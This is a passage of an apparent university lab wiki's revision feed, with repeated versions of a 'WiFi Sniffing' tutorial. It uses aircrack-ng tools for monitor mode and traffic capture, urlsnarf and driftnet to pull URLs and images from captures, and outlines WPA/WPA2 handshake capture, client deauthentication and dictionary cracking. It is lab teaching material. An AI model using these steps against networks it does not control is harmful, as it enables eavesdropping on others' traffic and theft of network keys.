&lt;br /&gt;
&lt;br /&gt;
Depending on the driver used by the card, different methods need to used to enable monitor mode. This tutorial only shows the procedure for the madwifi-ng driver, for further information look at [https://www.aircrack-ng.org/doku.php?id=cracking_wpa aircrack-ng]&#039;s tutorial&lt;br /&gt;
&lt;br /&gt;
Open a terminal and type :&lt;br /&gt;
&lt;br /&gt;
 airmon-ng&lt;br /&gt;
&lt;br /&gt;
to determine the driver your card is using. The ouput with a wireless card from Atheros is the following:&lt;br /&gt;
&lt;br /&gt;
 PHY     Interface       Driver          Chipset&lt;br /&gt;
 phy0    wlan0           ath9k_htc       Qualcomm Atheros Communications AR9271 802.11n&lt;br /&gt;
&lt;br /&gt;
The next step is to switch to monitor mode. Syntax: airmon-ng start &amp;lt;interface&amp;gt; &amp;lt;channel used by AP&amp;gt;. Because we dont know the used channel from the AP we only start the monitoring mode without a specific channel:&lt;br /&gt;
&lt;br /&gt;
 airmon-ng start wlan0 &lt;br /&gt;
&lt;br /&gt;
Ouput:&lt;br /&gt;
&lt;br /&gt;
 Found 2 processes that could cause trouble.&lt;br /&gt;
 Kill them using &#039;airmon-ng check kill&#039; before putting&lt;br /&gt;
 the card in monitor mode, they will interfere by changing channels&lt;br /&gt;
 and sometimes putting the interface back in managed mode&lt;br /&gt;
    PID Name&lt;br /&gt;
    605 NetworkManager&lt;br /&gt;
   2948 wpa_supplicant&lt;br /&gt;
 PHY     Interface       Driver          Chipset&lt;br /&gt;
 phy0    wlan0mon        ath9k_htc       Qualcomm Atheros Communications AR9271 802.11n&lt;br /&gt;
                (mac80211 monitor mode already enabled for [phy0]wlan0mon on [phy0]wlan0mon)&lt;br /&gt;
&lt;br /&gt;
Now we can check if the interface is in monitormode using iwconfig:&lt;br /&gt;
&lt;br /&gt;
 iwconfig&lt;br /&gt;
 lo        no wireless extensions.&lt;br /&gt;
 eth0      no wireless extensions.&lt;br /&gt;
 tun0      no wireless extensions.&lt;br /&gt;
 wlan0mon  IEEE 802.11  Mode:Monitor  Frequency:2.457 GHz  Tx-Power=20 dBm   &lt;br /&gt;
          Retry short limit:7   RTS thr:off   Fragment thr:off&lt;br /&gt;
          Power Management:off&lt;br /&gt;
&lt;br /&gt;
As we can see the interface changed the name from wlan0 to wlan0mon and uses the monitor mode. With airodump-ng &amp;lt;interface&amp;gt; we can monitor all AP&#039;s within reach. &lt;br /&gt;
&lt;br /&gt;
 airodump-ng wlan0mon&lt;br /&gt;
&lt;br /&gt;
The output presented shows all AP&#039;s with information like ESSUD, BSSID, PWR, beacons, channels, encryption, cipher and authentication methods used&lt;br /&gt;
&lt;br /&gt;
 CH  4 ][ Elapsed: 1 min ][ 2021-12-17 10:40                                                                                                                                                                                        &lt;br /&gt;
 BSSID              PWR  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID                                                                                                                                                    &lt;br /&gt;
 68:02:B8:1F:A1:3A  -50       46       31    0  11  130   WPA2 CCMP   PSK  WLAN18250073&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
---------------------------------------------------------------&lt;br /&gt;
Display your wireless interfaces:&lt;br /&gt;
&lt;br /&gt;
 iwconfig&lt;br /&gt;
&lt;br /&gt;
Connect the external Wi-Fi adapter to your host computer.&lt;br /&gt;
&lt;br /&gt;
 iwconfig&lt;br /&gt;
&lt;br /&gt;
The newly added interface in the list is the external adapter. In my case it was &#039;wlan1&#039;. In the following steps I refer to the external adapter as &#039;wlan1&#039;.&lt;br /&gt;
&lt;br /&gt;
Start [https://en.wikipedia.org/wiki/Monitor_mode monitor mode] on the external adapter (**):&lt;br /&gt;
&lt;br /&gt;
 airmon-ng start wlan1&lt;br /&gt;
&lt;br /&gt;
The previous command creates a new interface called &#039;wlan1mon&#039;. Verify with:&lt;br /&gt;
&lt;br /&gt;
 iwconfig&lt;br /&gt;
&lt;br /&gt;
Display active Wi-Fi networks:&lt;br /&gt;
&lt;br /&gt;
 airodump-ng wlan1mon&lt;br /&gt;
&lt;br /&gt;
Remember the channel of the network you want to attack. In my case it was channel 11.&lt;br /&gt;
&lt;br /&gt;
Set your adapter to the appropriate channel:&lt;br /&gt;
&lt;br /&gt;
 iwconfig wlan1mon channel 11&lt;br /&gt;
&lt;br /&gt;
Verify the frequency:&lt;br /&gt;
&lt;br /&gt;
 iwconfig wlan1mon&lt;br /&gt;
 iwlist channel&lt;br /&gt;
&lt;br /&gt;
Start capturing data:&lt;br /&gt;
&lt;br /&gt;
 airodump-ng --channel 11 -w alfa wlan1mon&lt;br /&gt;
&lt;br /&gt;
Filter URLs from captured traffic:&lt;br /&gt;
&lt;br /&gt;
 urlsnarf -p alfa-01.cap&lt;br /&gt;
&lt;br /&gt;
Filter pictures from captured traffic:&lt;br /&gt;
&lt;br /&gt;
 driftnet -f alfa-01.cap -a -d Pictures/&lt;br /&gt;
&lt;br /&gt;
Disable [https://en.wikipedia.org/wiki/Monitor_mode monitor mode]:&lt;br /&gt;
&lt;br /&gt;
 airmon-ng stop wlan1mon&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
(*) Test if the adapter supports injection:&lt;br /&gt;
&lt;br /&gt;
 aireplay-ng -9 wlan1mon&lt;br /&gt;
&lt;br /&gt;
Detailed information about wireless adapters available in ELVIS can be found [[:File:WiFiAdapter.zip|here]].&lt;br /&gt;
&lt;br /&gt;
(**) This command did not work with [[Alfa AWUS036ACH Wide Range AC1200 Wireless Adapter|ALFA NETWORK AWUS036ACH]] and [[Alfa AWUS036EAC AC1200 USB Wireless Adapter|ALFA NETWORK AWUS036EAC]]. The following commands are an alternative way to start [https://en.wikipedia.org/wiki/Monitor_mode monitor mode] on the adapter:&lt;br /&gt;
&lt;br /&gt;
 ifconfig wlan1 down&lt;br /&gt;
 iwconfig wlan1 mode monitor&lt;br /&gt;
 ifconfig wlan1 up&lt;br /&gt;
&lt;br /&gt;
== Results ==&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! Browser                           !! urlsnarf                         !! driftnet&lt;br /&gt;
|-&lt;br /&gt;
| Microsoft Edge (Windows 10 host)  || no results reading the pcap file || no results reading the pcap file&lt;br /&gt;
|-&lt;br /&gt;
| Mozilla Firefox (Windows 10 host) || no results reading the pcap file || no results reading the pcap file&lt;br /&gt;
|-&lt;br /&gt;
| Google Chrome (Windows 10 host)   || no results reading the pcap file || no results reading the pcap file&lt;br /&gt;
|-&lt;br /&gt;
| Google Chrome (Android host)      || no results reading the pcap file || no results reading the pcap file&lt;br /&gt;
|-&lt;br /&gt;
| Samsung Internet (Android host)   || URLs captured                    || images captured&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Used Hardware ==&lt;br /&gt;
&lt;br /&gt;
* Windows 10 host&lt;br /&gt;
* Kali Linux host&lt;br /&gt;
* Samsung Galaxy A8&lt;br /&gt;
* [[LG Nexus 5X Google Smartphone 32 GB, Android 6.0 Marshmallow, Carbon]]&lt;br /&gt;
* [[Panda 300 Mbps Wireless N USB Adapter PAU05]]&lt;br /&gt;
* [[Alfa AWUS036ACH Wide Range AC1200 Wireless Adapter]]&lt;br /&gt;
* [[Alfa AWUS036EAC AC1200 USB Wireless Adapter]]&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://www.androidauthority.com/capture-data-open-wi-fi-726356/&lt;br /&gt;
* https://www.aircrack-ng.org/doku.php?id=airmon-ng&lt;br /&gt;
* https://www.aircrack-ng.org/doku.php?id=airodump-ng&lt;br /&gt;
* https://www.aircrack-ng.org/doku.php?id=injection_test&lt;br /&gt;
* https://www.aircrack-ng.org/doku.php?id=cracking_wpa&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>MMehlfuehrer</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=WiFi_Sniffing&amp;diff=8246</id>
		<title>WiFi Sniffing</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=WiFi_Sniffing&amp;diff=8246"/>
		<updated>2021-12-17T10:38:40Z</updated>

		<summary type="html">&lt;p&gt;MMehlfuehrer: /* Step 1 - Use monitor mode on the wireless interface using the AP channel */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary == &lt;br /&gt;
&lt;br /&gt;
Sniff Wi-Fi traffic using wireless interfaces supporting [https://en.wikipedia.org/wiki/Monitor_mode monitor mode] and [https://en.wikipedia.org/wiki/Packet_injection packet injection] (*). &lt;br /&gt;
WPA/WPA2 uses various types for authentication. Aircrack-ng is only capable of cracking pre-shared keys! Meaning only networks using PSK can be attacked. (To determine if a network uses PSK, airodump-ng is used). The method used to crack the pre-shared key is a plain brute force attack. This means the PSK needs to be in the used dictionary for the brute force attack. If it is not in the list, aircrack-ng can not determine the key.&lt;br /&gt;
For WPA/WPA2 cracking the initial 4-way handshake is needed. This handshake is conducted between a client and the AP, when a client tries to connect to the network.&lt;br /&gt;
&lt;br /&gt;
== Requirements ==&lt;br /&gt;
&lt;br /&gt;
* Operating system: [https://www.kali.org/downloads/12/ Kali Linux 64 Bit]&lt;br /&gt;
* Wireless card: One that can inject packets [https://www.aircrack-ng.org/doku.php?id=injection_test Injection test]&lt;br /&gt;
*&lt;br /&gt;
&lt;br /&gt;
== Prerequisites==&lt;br /&gt;
&lt;br /&gt;
The following information of the hardware used is needed:&lt;br /&gt;
*MAC of PC running the attack:&lt;br /&gt;
*MAC of a wireless client in the network:&lt;br /&gt;
*BSSID:&lt;br /&gt;
*ESSID:&lt;br /&gt;
*Channel used by AP:&lt;br /&gt;
*Wireless interface:&lt;br /&gt;
&lt;br /&gt;
== Description ==&lt;br /&gt;
=== Overview ===&lt;br /&gt;
The following steps are needed to get the password:&lt;br /&gt;
&lt;br /&gt;
1) Use monitor mode on the wireless interface using the AP channel&lt;br /&gt;
&lt;br /&gt;
2) Using airodump-ng on AP channel, collecting needed handshake&lt;br /&gt;
&lt;br /&gt;
3) Use aireplay-ng to deauthenticate a wireless client in the network&lt;br /&gt;
&lt;br /&gt;
4) Use aircrack-ng to crack the key using the collected handshake&lt;br /&gt;
&lt;br /&gt;
=== Step 1 - Use monitor mode on the wireless interface using the AP channel ===&lt;br /&gt;
&lt;br /&gt;
To listen to every packet in the air the wireless card needs to be in monitor mode. If a wireless card is not in monitor mode it will only catch every packet addressed to itself. When listenting to every packet send an attacker eventually captures a 4-way handshake used to crack WPA/WPA2. Additionaly one can deauthenticate wireless clients, explained in a later step.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Depending on the driver used by the card, different methods need to used to enable monitor mode. This tutorial only shows the procedure for the madwifi-ng driver, for further information look at [https://www.aircrack-ng.org/doku.php?id=cracking_wpa aircrack-ng]&#039;s tutorial&lt;br /&gt;
&lt;br /&gt;
Open a terminal and type :&lt;br /&gt;
&lt;br /&gt;
 airmon-ng&lt;br /&gt;
&lt;br /&gt;
to determine the driver your card is using. The ouput with a wireless card from Atheros is the following:&lt;br /&gt;
&lt;br /&gt;
 PHY     Interface       Driver          Chipset&lt;br /&gt;
 phy0    wlan0           ath9k_htc       Qualcomm Atheros Communications AR9271 802.11n&lt;br /&gt;
&lt;br /&gt;
The next step is to switch to monitor mode. Syntax: airmon-ng start &amp;lt;interface&amp;gt; &amp;lt;channel used by AP&amp;gt;. Because we dont know the used channel from the AP we only start the monitoring mode without a specific channel:&lt;br /&gt;
&lt;br /&gt;
 airmon-ng start wlan0 &lt;br /&gt;
&lt;br /&gt;
Ouput:&lt;br /&gt;
&lt;br /&gt;
 Found 2 processes that could cause trouble.&lt;br /&gt;
 Kill them using &#039;airmon-ng check kill&#039; before putting&lt;br /&gt;
 the card in monitor mode, they will interfere by changing channels&lt;br /&gt;
 and sometimes putting the interface back in managed mode&lt;br /&gt;
    PID Name&lt;br /&gt;
    605 NetworkManager&lt;br /&gt;
   2948 wpa_supplicant&lt;br /&gt;
 PHY     Interface       Driver          Chipset&lt;br /&gt;
 phy0    wlan0mon        ath9k_htc       Qualcomm Atheros Communications AR9271 802.11n&lt;br /&gt;
                (mac80211 monitor mode already enabled for [phy0]wlan0mon on [phy0]wlan0mon)&lt;br /&gt;
&lt;br /&gt;
Now we can check if the interface is in monitormode using iwconfig:&lt;br /&gt;
&lt;br /&gt;
 iwconfig&lt;br /&gt;
 lo        no wireless extensions.&lt;br /&gt;
 eth0      no wireless extensions.&lt;br /&gt;
 tun0      no wireless extensions.&lt;br /&gt;
 wlan0mon  IEEE 802.11  Mode:Monitor  Frequency:2.457 GHz  Tx-Power=20 dBm   &lt;br /&gt;
          Retry short limit:7   RTS thr:off   Fragment thr:off&lt;br /&gt;
          Power Management:off&lt;br /&gt;
&lt;br /&gt;
As we can see the interface changed the name from wlan0 to wlan0mon and uses the monitor mode.&lt;br /&gt;
&lt;br /&gt;
---------------------------------------------------------------&lt;br /&gt;
Display your wireless interfaces:&lt;br /&gt;
&lt;br /&gt;
 iwconfig&lt;br /&gt;
&lt;br /&gt;
Connect the external Wi-Fi adapter to your host computer.&lt;br /&gt;
&lt;br /&gt;
 iwconfig&lt;br /&gt;
&lt;br /&gt;
The newly added interface in the list is the external adapter. In my case it was &#039;wlan1&#039;. In the following steps I refer to the external adapter as &#039;wlan1&#039;.&lt;br /&gt;
&lt;br /&gt;
Start [https://en.wikipedia.org/wiki/Monitor_mode monitor mode] on the external adapter (**):&lt;br /&gt;
&lt;br /&gt;
 airmon-ng start wlan1&lt;br /&gt;
&lt;br /&gt;
The previous command creates a new interface called &#039;wlan1mon&#039;. Verify with:&lt;br /&gt;
&lt;br /&gt;
 iwconfig&lt;br /&gt;
&lt;br /&gt;
Display active Wi-Fi networks:&lt;br /&gt;
&lt;br /&gt;
 airodump-ng wlan1mon&lt;br /&gt;
&lt;br /&gt;
Remember the channel of the network you want to attack. In my case it was channel 11.&lt;br /&gt;
&lt;br /&gt;
Set your adapter to the appropriate channel:&lt;br /&gt;
&lt;br /&gt;
 iwconfig wlan1mon channel 11&lt;br /&gt;
&lt;br /&gt;
Verify the frequency:&lt;br /&gt;
&lt;br /&gt;
 iwconfig wlan1mon&lt;br /&gt;
 iwlist channel&lt;br /&gt;
&lt;br /&gt;
Start capturing data:&lt;br /&gt;
&lt;br /&gt;
 airodump-ng --channel 11 -w alfa wlan1mon&lt;br /&gt;
&lt;br /&gt;
Filter URLs from captured traffic:&lt;br /&gt;
&lt;br /&gt;
 urlsnarf -p alfa-01.cap&lt;br /&gt;
&lt;br /&gt;
Filter pictures from captured traffic:&lt;br /&gt;
&lt;br /&gt;
 driftnet -f alfa-01.cap -a -d Pictures/&lt;br /&gt;
&lt;br /&gt;
Disable [https://en.wikipedia.org/wiki/Monitor_mode monitor mode]:&lt;br /&gt;
&lt;br /&gt;
 airmon-ng stop wlan1mon&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
(*) Test if the adapter supports injection:&lt;br /&gt;
&lt;br /&gt;
 aireplay-ng -9 wlan1mon&lt;br /&gt;
&lt;br /&gt;
Detailed information about wireless adapters available in ELVIS can be found [[:File:WiFiAdapter.zip|here]].&lt;br /&gt;
&lt;br /&gt;
(**) This command did not work with [[Alfa AWUS036ACH Wide Range AC1200 Wireless Adapter|ALFA NETWORK AWUS036ACH]] and [[Alfa AWUS036EAC AC1200 USB Wireless Adapter|ALFA NETWORK AWUS036EAC]]. The following commands are an alternative way to start [https://en.wikipedia.org/wiki/Monitor_mode monitor mode] on the adapter:&lt;br /&gt;
&lt;br /&gt;
 ifconfig wlan1 down&lt;br /&gt;
 iwconfig wlan1 mode monitor&lt;br /&gt;
 ifconfig wlan1 up&lt;br /&gt;
&lt;br /&gt;
== Results ==&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! Browser                           !! urlsnarf                         !! driftnet&lt;br /&gt;
|-&lt;br /&gt;
| Microsoft Edge (Windows 10 host)  || no results reading the pcap file || no results reading the pcap file&lt;br /&gt;
|-&lt;br /&gt;
| Mozilla Firefox (Windows 10 host) || no results reading the pcap file || no results reading the pcap file&lt;br /&gt;
|-&lt;br /&gt;
| Google Chrome (Windows 10 host)   || no results reading the pcap file || no results reading the pcap file&lt;br /&gt;
|-&lt;br /&gt;
| Google Chrome (Android host)      || no results reading the pcap file || no results reading the pcap file&lt;br /&gt;
|-&lt;br /&gt;
| Samsung Internet (Android host)   || URLs captured                    || images captured&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Used Hardware ==&lt;br /&gt;
&lt;br /&gt;
* Windows 10 host&lt;br /&gt;
* Kali Linux host&lt;br /&gt;
* Samsung Galaxy A8&lt;br /&gt;
* [[LG Nexus 5X Google Smartphone 32 GB, Android 6.0 Marshmallow, Carbon]]&lt;br /&gt;
* [[Panda 300 Mbps Wireless N USB Adapter PAU05]]&lt;br /&gt;
* [[Alfa AWUS036ACH Wide Range AC1200 Wireless Adapter]]&lt;br /&gt;
* [[Alfa AWUS036EAC AC1200 USB Wireless Adapter]]&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://www.androidauthority.com/capture-data-open-wi-fi-726356/&lt;br /&gt;
* https://www.aircrack-ng.org/doku.php?id=airmon-ng&lt;br /&gt;
* https://www.aircrack-ng.org/doku.php?id=airodump-ng&lt;br /&gt;
* https://www.aircrack-ng.org/doku.php?id=injection_test&lt;br /&gt;
* https://www.aircrack-ng.org/doku.php?id=cracking_wpa&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>MMehlfuehrer</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=WiFi_Sniffing&amp;diff=8245</id>
		<title>WiFi Sniffing</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=WiFi_Sniffing&amp;diff=8245"/>
		<updated>2021-12-17T10:26:23Z</updated>

		<summary type="html">&lt;p&gt;MMehlfuehrer: /* Step 1 - Use monitor mode on the wireless interface using the AP channel */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary == &lt;br /&gt;
&lt;br /&gt;
Sniff Wi-Fi traffic using wireless interfaces supporting [https://en.wikipedia.org/wiki/Monitor_mode monitor mode] and [https://en.wikipedia.org/wiki/Packet_injection packet injection] (*). &lt;br /&gt;
WPA/WPA2 uses various types for authentication. Aircrack-ng is only capable of cracking pre-shared keys! Meaning only networks using PSK can be attacked. (To determine if a network uses PSK, airodump-ng is used). The method used to crack the pre-shared key is a plain brute force attack. This means the PSK needs to be in the used dictionary for the brute force attack. If it is not in the list, aircrack-ng can not determine the key.&lt;br /&gt;
For WPA/WPA2 cracking the initial 4-way handshake is needed. This handshake is conducted between a client and the AP, when a client tries to connect to the network.&lt;br /&gt;
&lt;br /&gt;
== Requirements ==&lt;br /&gt;
&lt;br /&gt;
* Operating system: [https://www.kali.org/downloads/12/ Kali Linux 64 Bit]&lt;br /&gt;
* Wireless card: One that can inject packets [https://www.aircrack-ng.org/doku.php?id=injection_test Injection test]&lt;br /&gt;
*&lt;br /&gt;
&lt;br /&gt;
== Prerequisites==&lt;br /&gt;
&lt;br /&gt;
The following information of the hardware used is needed:&lt;br /&gt;
*MAC of PC running the attack:&lt;br /&gt;
*MAC of a wireless client in the network:&lt;br /&gt;
*BSSID:&lt;br /&gt;
*ESSID:&lt;br /&gt;
*Channel used by AP:&lt;br /&gt;
*Wireless interface:&lt;br /&gt;
&lt;br /&gt;
== Description ==&lt;br /&gt;
=== Overview ===&lt;br /&gt;
The following steps are needed to get the password:&lt;br /&gt;
&lt;br /&gt;
1) Use monitor mode on the wireless interface using the AP channel&lt;br /&gt;
&lt;br /&gt;
2) Using airodump-ng on AP channel, collecting needed handshake&lt;br /&gt;
&lt;br /&gt;
3) Use aireplay-ng to deauthenticate a wireless client in the network&lt;br /&gt;
&lt;br /&gt;
4) Use aircrack-ng to crack the key using the collected handshake&lt;br /&gt;
&lt;br /&gt;
=== Step 1 - Use monitor mode on the wireless interface using the AP channel ===&lt;br /&gt;
&lt;br /&gt;
To listen to every packet in the air the wireless card needs to be in monitor mode. If a wireless card is not in monitor mode it will only catch every packet addressed to itself. When listenting to every packet send an attacker eventually captures a 4-way handshake used to crack WPA/WPA2. Additionaly one can deauthenticate wireless clients, explained in a later step.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Depending on the driver used by the card, different methods need to used to enable monitor mode. This tutorial only shows the procedure for XXXX, for further information look at [https://www.aircrack-ng.org/doku.php?id=cracking_wpa aircrack-ng]&#039;s tutorial&lt;br /&gt;
&lt;br /&gt;
Open a terminal and type :&lt;br /&gt;
&lt;br /&gt;
 airmon-ng&lt;br /&gt;
&lt;br /&gt;
to determine the driver your card is using. The ouput with a wireless card from Atheros is the following:&lt;br /&gt;
&lt;br /&gt;
 PHY     Interface       Driver          Chipset&lt;br /&gt;
 phy0    wlan0           ath9k_htc       Qualcomm Atheros Communications AR9271 802.11n&lt;br /&gt;
&lt;br /&gt;
Display your wireless interfaces:&lt;br /&gt;
&lt;br /&gt;
 iwconfig&lt;br /&gt;
&lt;br /&gt;
Connect the external Wi-Fi adapter to your host computer.&lt;br /&gt;
&lt;br /&gt;
 iwconfig&lt;br /&gt;
&lt;br /&gt;
The newly added interface in the list is the external adapter. In my case it was &#039;wlan1&#039;. In the following steps I refer to the external adapter as &#039;wlan1&#039;.&lt;br /&gt;
&lt;br /&gt;
Start [https://en.wikipedia.org/wiki/Monitor_mode monitor mode] on the external adapter (**):&lt;br /&gt;
&lt;br /&gt;
 airmon-ng start wlan1&lt;br /&gt;
&lt;br /&gt;
The previous command creates a new interface called &#039;wlan1mon&#039;. Verify with:&lt;br /&gt;
&lt;br /&gt;
 iwconfig&lt;br /&gt;
&lt;br /&gt;
Display active Wi-Fi networks:&lt;br /&gt;
&lt;br /&gt;
 airodump-ng wlan1mon&lt;br /&gt;
&lt;br /&gt;
Remember the channel of the network you want to attack. In my case it was channel 11.&lt;br /&gt;
&lt;br /&gt;
Set your adapter to the appropriate channel:&lt;br /&gt;
&lt;br /&gt;
 iwconfig wlan1mon channel 11&lt;br /&gt;
&lt;br /&gt;
Verify the frequency:&lt;br /&gt;
&lt;br /&gt;
 iwconfig wlan1mon&lt;br /&gt;
 iwlist channel&lt;br /&gt;
&lt;br /&gt;
Start capturing data:&lt;br /&gt;
&lt;br /&gt;
 airodump-ng --channel 11 -w alfa wlan1mon&lt;br /&gt;
&lt;br /&gt;
Filter URLs from captured traffic:&lt;br /&gt;
&lt;br /&gt;
 urlsnarf -p alfa-01.cap&lt;br /&gt;
&lt;br /&gt;
Filter pictures from captured traffic:&lt;br /&gt;
&lt;br /&gt;
 driftnet -f alfa-01.cap -a -d Pictures/&lt;br /&gt;
&lt;br /&gt;
Disable [https://en.wikipedia.org/wiki/Monitor_mode monitor mode]:&lt;br /&gt;
&lt;br /&gt;
 airmon-ng stop wlan1mon&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
(*) Test if the adapter supports injection:&lt;br /&gt;
&lt;br /&gt;
 aireplay-ng -9 wlan1mon&lt;br /&gt;
&lt;br /&gt;
Detailed information about wireless adapters available in ELVIS can be found [[:File:WiFiAdapter.zip|here]].&lt;br /&gt;
&lt;br /&gt;
(**) This command did not work with [[Alfa AWUS036ACH Wide Range AC1200 Wireless Adapter|ALFA NETWORK AWUS036ACH]] and [[Alfa AWUS036EAC AC1200 USB Wireless Adapter|ALFA NETWORK AWUS036EAC]]. The following commands are an alternative way to start [https://en.wikipedia.org/wiki/Monitor_mode monitor mode] on the adapter:&lt;br /&gt;
&lt;br /&gt;
 ifconfig wlan1 down&lt;br /&gt;
 iwconfig wlan1 mode monitor&lt;br /&gt;
 ifconfig wlan1 up&lt;br /&gt;
&lt;br /&gt;
== Results ==&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! Browser                           !! urlsnarf                         !! driftnet&lt;br /&gt;
|-&lt;br /&gt;
| Microsoft Edge (Windows 10 host)  || no results reading the pcap file || no results reading the pcap file&lt;br /&gt;
|-&lt;br /&gt;
| Mozilla Firefox (Windows 10 host) || no results reading the pcap file || no results reading the pcap file&lt;br /&gt;
|-&lt;br /&gt;
| Google Chrome (Windows 10 host)   || no results reading the pcap file || no results reading the pcap file&lt;br /&gt;
|-&lt;br /&gt;
| Google Chrome (Android host)      || no results reading the pcap file || no results reading the pcap file&lt;br /&gt;
|-&lt;br /&gt;
| Samsung Internet (Android host)   || URLs captured                    || images captured&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Used Hardware ==&lt;br /&gt;
&lt;br /&gt;
* Windows 10 host&lt;br /&gt;
* Kali Linux host&lt;br /&gt;
* Samsung Galaxy A8&lt;br /&gt;
* [[LG Nexus 5X Google Smartphone 32 GB, Android 6.0 Marshmallow, Carbon]]&lt;br /&gt;
* [[Panda 300 Mbps Wireless N USB Adapter PAU05]]&lt;br /&gt;
* [[Alfa AWUS036ACH Wide Range AC1200 Wireless Adapter]]&lt;br /&gt;
* [[Alfa AWUS036EAC AC1200 USB Wireless Adapter]]&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://www.androidauthority.com/capture-data-open-wi-fi-726356/&lt;br /&gt;
* https://www.aircrack-ng.org/doku.php?id=airmon-ng&lt;br /&gt;
* https://www.aircrack-ng.org/doku.php?id=airodump-ng&lt;br /&gt;
* https://www.aircrack-ng.org/doku.php?id=injection_test&lt;br /&gt;
* https://www.aircrack-ng.org/doku.php?id=cracking_wpa&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>MMehlfuehrer</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=WiFi_Sniffing&amp;diff=8244</id>
		<title>WiFi Sniffing</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=WiFi_Sniffing&amp;diff=8244"/>
		<updated>2021-12-17T10:26:10Z</updated>

		<summary type="html">&lt;p&gt;MMehlfuehrer: /* Step 1 - Use monitor mode on the wireless interface using the AP channel */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary == &lt;br /&gt;
&lt;br /&gt;
Sniff Wi-Fi traffic using wireless interfaces supporting [https://en.wikipedia.org/wiki/Monitor_mode monitor mode] and [https://en.wikipedia.org/wiki/Packet_injection packet injection] (*). &lt;br /&gt;
WPA/WPA2 uses various types for authentication. Aircrack-ng is only capable of cracking pre-shared keys! Meaning only networks using PSK can be attacked. (To determine if a network uses PSK, airodump-ng is used). The method used to crack the pre-shared key is a plain brute force attack. This means the PSK needs to be in the used dictionary for the brute force attack. If it is not in the list, aircrack-ng can not determine the key.&lt;br /&gt;
For WPA/WPA2 cracking the initial 4-way handshake is needed. This handshake is conducted between a client and the AP, when a client tries to connect to the network.&lt;br /&gt;
&lt;br /&gt;
== Requirements ==&lt;br /&gt;
&lt;br /&gt;
* Operating system: [https://www.kali.org/downloads/12/ Kali Linux 64 Bit]&lt;br /&gt;
* Wireless card: One that can inject packets [https://www.aircrack-ng.org/doku.php?id=injection_test Injection test]&lt;br /&gt;
*&lt;br /&gt;
&lt;br /&gt;
== Prerequisites==&lt;br /&gt;
&lt;br /&gt;
The following information of the hardware used is needed:&lt;br /&gt;
*MAC of PC running the attack:&lt;br /&gt;
*MAC of a wireless client in the network:&lt;br /&gt;
*BSSID:&lt;br /&gt;
*ESSID:&lt;br /&gt;
*Channel used by AP:&lt;br /&gt;
*Wireless interface:&lt;br /&gt;
&lt;br /&gt;
== Description ==&lt;br /&gt;
=== Overview ===&lt;br /&gt;
The following steps are needed to get the password:&lt;br /&gt;
&lt;br /&gt;
1) Use monitor mode on the wireless interface using the AP channel&lt;br /&gt;
&lt;br /&gt;
2) Using airodump-ng on AP channel, collecting needed handshake&lt;br /&gt;
&lt;br /&gt;
3) Use aireplay-ng to deauthenticate a wireless client in the network&lt;br /&gt;
&lt;br /&gt;
4) Use aircrack-ng to crack the key using the collected handshake&lt;br /&gt;
&lt;br /&gt;
=== Step 1 - Use monitor mode on the wireless interface using the AP channel ===&lt;br /&gt;
&lt;br /&gt;
To listen to every packet in the air the wireless card needs to be in monitor mode. If a wireless card is not in monitor mode it will only catch every packet addressed to itself. When listenting to every packet send an attacker eventually captures a 4-way handshake used to crack WPA/WPA2. Additionaly one can deauthenticate wireless clients, explained in a later step.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Depending on the driver used by the card, different methods need to used to enable monitor mode. This tutorial only shows the procedure for XXXX, for further information look at [https://www.aircrack-ng.org/doku.php?id=cracking_wpa aircrack-ng]&#039;s tutorial&lt;br /&gt;
&lt;br /&gt;
Open a terminal and type :&lt;br /&gt;
&lt;br /&gt;
 airmon-ng&lt;br /&gt;
&lt;br /&gt;
to determine the driver your card is using. The ouput with a wireless card from Atheros is the following:&lt;br /&gt;
&lt;br /&gt;
 PHY     Interface       Driver          Chipset&lt;br /&gt;
&lt;br /&gt;
 phy0    wlan0           ath9k_htc       Qualcomm Atheros Communications AR9271 802.11n&lt;br /&gt;
&lt;br /&gt;
Display your wireless interfaces:&lt;br /&gt;
&lt;br /&gt;
 iwconfig&lt;br /&gt;
&lt;br /&gt;
Connect the external Wi-Fi adapter to your host computer.&lt;br /&gt;
&lt;br /&gt;
 iwconfig&lt;br /&gt;
